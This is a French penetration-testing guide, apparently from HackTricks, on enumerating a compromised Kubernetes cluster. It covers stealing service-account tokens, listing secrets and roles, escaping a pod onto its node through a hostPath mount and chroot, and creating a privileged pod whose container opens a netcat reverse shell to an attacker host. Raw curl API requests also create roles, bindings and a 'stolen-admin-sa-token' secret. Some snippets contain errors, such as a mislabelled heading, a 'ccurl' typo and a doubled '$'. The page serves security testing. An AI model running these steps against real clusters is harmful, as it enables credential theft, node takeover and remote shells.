# Kubernetes Enumeration

{{#include ../../banners/hacktricks-training.md}}

## Kubernetes Tokens

Si vous avez compromis l'accès à une machine, l'utilisateur peut avoir accès à une plateforme Kubernetes. Le token se trouve généralement dans un fichier pointé par la **var env `KUBECONFIG`** ou **dans `~/.kube`**.

Dans ce dossier, vous pourriez trouver des fichiers de configuration avec **des tokens et des configurations pour se connecter au serveur API**. Dans ce dossier, vous pouvez également trouver un dossier de cache avec des informations récupérées précédemment.

Si vous avez compromis un pod dans un environnement Kubernetes, il existe d'autres endroits où vous pouvez trouver des tokens et des informations sur l'environnement K8 actuel :

### Service Account Tokens

Avant de continuer, si vous ne savez pas ce qu'est un service dans Kubernetes, je vous suggérerais de **suivre ce lien et de lire au moins les informations sur l'architecture de Kubernetes.**

Extrait de la [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) Kubernetes :

_“Lorsque vous créez un pod, si vous ne spécifiez pas de compte de service, il se voit automatiquement attribuer le_ compte de service _par défaut dans le même namespace.”_

**ServiceAccount** est un objet géré par Kubernetes et utilisé pour fournir une identité aux processus qui s'exécutent dans un pod.\
Chaque compte de service a un secret qui lui est associé et ce secret contient un token porteur. C'est un JSON Web Token (JWT), une méthode pour représenter des revendications de manière sécurisée entre deux parties.

Généralement, **un** des répertoires :

- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`

contient les fichiers :

- **ca.crt** : C'est le certificat CA pour vérifier les communications Kubernetes
- **namespace** : Il indique le namespace actuel
- **token** : Il contient le **token de service** du pod actuel.

Maintenant que vous avez le token, vous pouvez trouver le serveur API dans la variable d'environnement **`KUBECONFIG`**. Pour plus d'infos, exécutez `(env | set) | grep -i "kuber|kube`**`"`**

Le token de compte de service est signé par la clé résidant dans le fichier **sa.key** et validé par **sa.pub**.

Emplacement par défaut sur **Kubernetes** :

- /etc/kubernetes/pki

Emplacement par défaut sur **Minikube** :

- /var/lib/localkube/certs

### Hot Pods

_**Les hot pods sont**_ des pods contenant un token de compte de service privilégié. Un token de compte de service privilégié est un token qui a la permission d'effectuer des tâches privilégiées telles que lister des secrets, créer des pods, etc.

## RBAC

Si vous ne savez pas ce qu'est **RBAC**, **lisez cette section**.

## GUI Applications

- **k9s** : Une interface graphique qui énumère un cluster Kubernetes depuis le terminal. Vérifiez les commandes dans [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Écrivez `:namespace` et sélectionnez tout pour ensuite rechercher des ressources dans tous les namespaces.
- **k8slens** : Il offre quelques jours d'essai gratuit : [https://k8slens.dev/](https://k8slens.dev/)

## Enumeration CheatSheet

Pour énumérer un environnement K8s, vous avez besoin de quelques éléments :

- Un **token d'authentification valide**. Dans la section précédente, nous avons vu où chercher un token utilisateur et un token de compte de service.
- L'**adresse (**_**https://host:port**_**) de l'API Kubernetes**. Cela peut généralement être trouvé dans les variables d'environnement et/ou dans le fichier de configuration kube.
- **Optionnel** : Le **ca.crt pour vérifier le serveur API**. Cela peut être trouvé aux mêmes endroits que le token. Cela est utile pour vérifier le certificat du serveur API, mais en utilisant `--insecure-skip-tls-verify` avec `kubectl` ou `-k` avec `curl`, vous n'en aurez pas besoin.

Avec ces détails, vous pouvez **énumérer Kubernetes**. Si l'**API** est accessible pour une raison quelconque via l'**Internet**, vous pouvez simplement télécharger ces informations et énumérer la plateforme depuis votre hôte.

Cependant, généralement, le **serveur API est à l'intérieur d'un réseau interne**, donc vous devrez **créer un tunnel** à travers la machine compromise pour y accéder depuis votre machine, ou vous pouvez **télécharger le** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binaire, ou utiliser **`curl/wget/anything`** pour effectuer des requêtes HTTP brutes au serveur API.

### Differences between `list` and `get` verbs

Avec les permissions **`get`**, vous pouvez accéder aux informations d'actifs spécifiques (_option `describe` dans `kubectl`_) API :
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
Si vous avez la permission **`list`**, vous êtes autorisé à exécuter des requêtes API pour lister un type d'actif (_`get` option dans `kubectl`_) :
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Si vous avez la permission **`watch`**, vous êtes autorisé à exécuter des requêtes API pour surveiller les actifs :
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]
```
Ils ouvrent une connexion de streaming qui vous renvoie le manifeste complet d'un Deployment chaque fois qu'il change (ou lorsqu'un nouveau est créé).

> [!CAUTION]
> Les commandes `kubectl` suivantes indiquent simplement comment lister les objets. Si vous souhaitez accéder aux données, vous devez utiliser `describe` au lieu de `get`.

### Utilisation de curl

Depuis l'intérieur d'un pod, vous pouvez utiliser plusieurs variables d'environnement :
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Par défaut, le pod peut **accéder** au **serveur kube-api** dans le nom de domaine **`kubernetes.default.svc`** et vous pouvez voir le réseau kube dans **`/etc/resolv.config`** car ici vous trouverez l'adresse du serveur DNS kubernetes (le ".1" du même réseau est le point de terminaison kube-api).

### Utilisation de kubectl

Ayant le token et l'adresse du serveur API, vous utilisez kubectl ou curl pour y accéder comme indiqué ici :

Par défaut, l'APISERVER communique avec le schéma `https://`
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> si pas de `https://` dans l'URL, vous pouvez obtenir une erreur comme Bad Request.

Vous pouvez trouver un [**cheat sheet kubectl officiel ici**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'objectif des sections suivantes est de présenter de manière ordonnée différentes options pour énumérer et comprendre le nouveau K8s auquel vous avez obtenu accès.

Pour trouver la requête HTTP que `kubectl` envoie, vous pouvez utiliser le paramètre `-v=8`

#### MitM kubectl - Proxyfying kubectl
```bash
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
```
### Configuration Actuelle

{{#tabs }}
{{#tab name="Kubectl" }}
```bash
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>
```
{{#endtab }}
{{#endtabs }}

Si vous avez réussi à voler les identifiants de certains utilisateurs, vous pouvez **les configurer localement** en utilisant quelque chose comme :
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Obtenir les ressources prises en charge

Avec ces informations, vous saurez tous les services que vous pouvez lister

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
```
{{#endtab }}
{{#endtabs }}

### Obtenir les privilèges actuels

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
```
{{#endtab }}
{{#endtabs }}

Une autre façon de vérifier vos privilèges est d'utiliser l'outil : [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*

Vous pouvez en apprendre davantage sur **Kubernetes RBAC** dans :

{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}

**Une fois que vous savez quels privilèges** vous avez, consultez la page suivante pour déterminer **si vous pouvez en abuser** pour élever vos privilèges :

{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}

### Obtenir d'autres rôles

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get roles
k get clusterroles
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
```
{{#endtab }}
{{#endtabs }}

### Obtenir des espaces de noms

Kubernetes prend en charge **plusieurs clusters virtuels** soutenus par le même cluster physique. Ces clusters virtuels sont appelés **espaces de noms**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get namespaces
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
{{#endtab }}
{{#endtabs }}

### Obtenir des secrets

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
```
{{#endtab }}
{{#endtabs }}

Si vous pouvez lire les secrets, vous pouvez utiliser les lignes suivantes pour obtenir les privilèges associés à chaque jeton :
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Obtenir des comptes de service

Comme discuté au début de cette page **lorsqu'un pod est exécuté, un compte de service lui est généralement attribué**. Par conséquent, lister les comptes de service, leurs permissions et où ils s'exécutent peut permettre à un utilisateur d'escalader ses privilèges.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get serviceaccounts
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
```
{{#endtab }}
{{#endtabs }}

### Obtenir les déploiements

Les déploiements spécifient les **composants** qui doivent être **exécutés**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get deployments
k get deployments -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
```
{{#endtab }}
{{#endtabs }}

### Obtenir des Pods

Les Pods sont les **conteneurs** qui vont **s'exécuter**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get pods
k get pods -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
```
{{#endtab }}
{{#endtabs }}

### Obtenir des services

Kubernetes **services** sont utilisés pour **exposer un service sur un port et une IP spécifiques** (qui agira comme un équilibreur de charge pour les pods qui offrent réellement le service). Il est intéressant de savoir où vous pouvez trouver d'autres services à essayer d'attaquer.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get services
k get services -n custnamespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
```
{{#endtab }}
{{#endtabs }}

### Obtenir les nœuds

Obtenez tous les **nœuds configurés à l'intérieur du cluster**.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get nodes
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/nodes/
```
{{#endtab }}
{{#endtabs }}

### Obtenir les DaemonSets

**DaeamonSets** permet de s'assurer qu'un **pod spécifique s'exécute sur tous les nœuds** du cluster (ou sur ceux sélectionnés). Si vous supprimez le DaemonSet, les pods gérés par celui-ci seront également supprimés.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get daemonsets
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
```
{{#endtab }}
{{#endtabs }}

### Obtenir cronjob

Les cron jobs permettent de planifier, en utilisant une syntaxe similaire à crontab, le lancement d'un pod qui effectuera une action.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get cronjobs
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
```
{{#endtab }}
{{#endtabs }}

### Obtenir configMap

configMap contient toujours beaucoup d'informations et de fichiers de configuration qui sont fournis aux applications qui s'exécutent dans le kubernetes. En général, vous pouvez trouver beaucoup de mots de passe, de secrets, de jetons utilisés pour se connecter et valider d'autres services internes/externes.

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get configmaps # -n namespace
```
{{#endtab }}

{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
```
{{#endtab }}
{{#endtabs }}

### Obtenir des politiques réseau / Politiques réseau Cilium

{{#tabs }}
{{#tab name="Premier onglet" }}
```bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
{{#endtab }}
{{#endtabs }}

### Obtenir Tout / Tout

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all
```
{{#endtab }}
{{#endtabs }}

### **Obtenez toutes les ressources gérées par helm**

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
{{#endtab }}
{{#endtabs }}

### **Obtenir les consommations des Pods**

{{#tabs }}
{{#tab name="kubectl" }}
```bash
k top pod --all-namespaces
```
{{#endtab }}
{{#endtabs }}

## Interagir avec le cluster sans utiliser kubectl

Étant donné que le plan de contrôle Kubernetes expose une API REST-ful, vous pouvez créer des requêtes HTTP manuellement et les envoyer avec d'autres outils, tels que **curl** ou **wget**.

### Évasion du pod

Si vous êtes capable de créer de nouveaux pods, vous pourriez être en mesure de vous échapper d'eux vers le nœud. Pour ce faire, vous devez créer un nouveau pod en utilisant un fichier yaml, passer au pod créé, puis chroot dans le système du nœud. Vous pouvez utiliser des pods déjà existants comme référence pour le fichier yaml, car ils affichent des images et des chemins existants.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> si vous devez créer un pod sur un nœud spécifique, vous pouvez utiliser la commande suivante pour obtenir les étiquettes sur le nœud
>
> `k get nodes --show-labels`
>
> En général, kubernetes.io/hostname et node-role.kubernetes.io/master sont de bonnes étiquettes à sélectionner.

Ensuite, vous créez votre fichier attack.yaml
```yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""
```
Après cela, vous créez le pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Maintenant, vous pouvez passer au pod créé comme suit
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
Et enfin, vous chrootez dans le système du nœud.
```bash
chroot /root /bin/bash
```
Information obtenue de : [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)

### Création d'un pod privilégié

Le fichier yaml correspondant est le suivant :
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```
Créer le pod avec curl :
```bash
CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Supprimer un pod

Supprimer un pod avec curl :
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Créer un compte de service
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Supprimer un compte de service
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Créer un rôle
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Supprimer un rôle
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Créer un lien de rôle
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Supprimer un lien de rôle
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Supprimer un Secret
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Supprimer un Secret
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## Références

{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
{{#endref}}

{{#include ../../banners/hacktricks-training.md}}
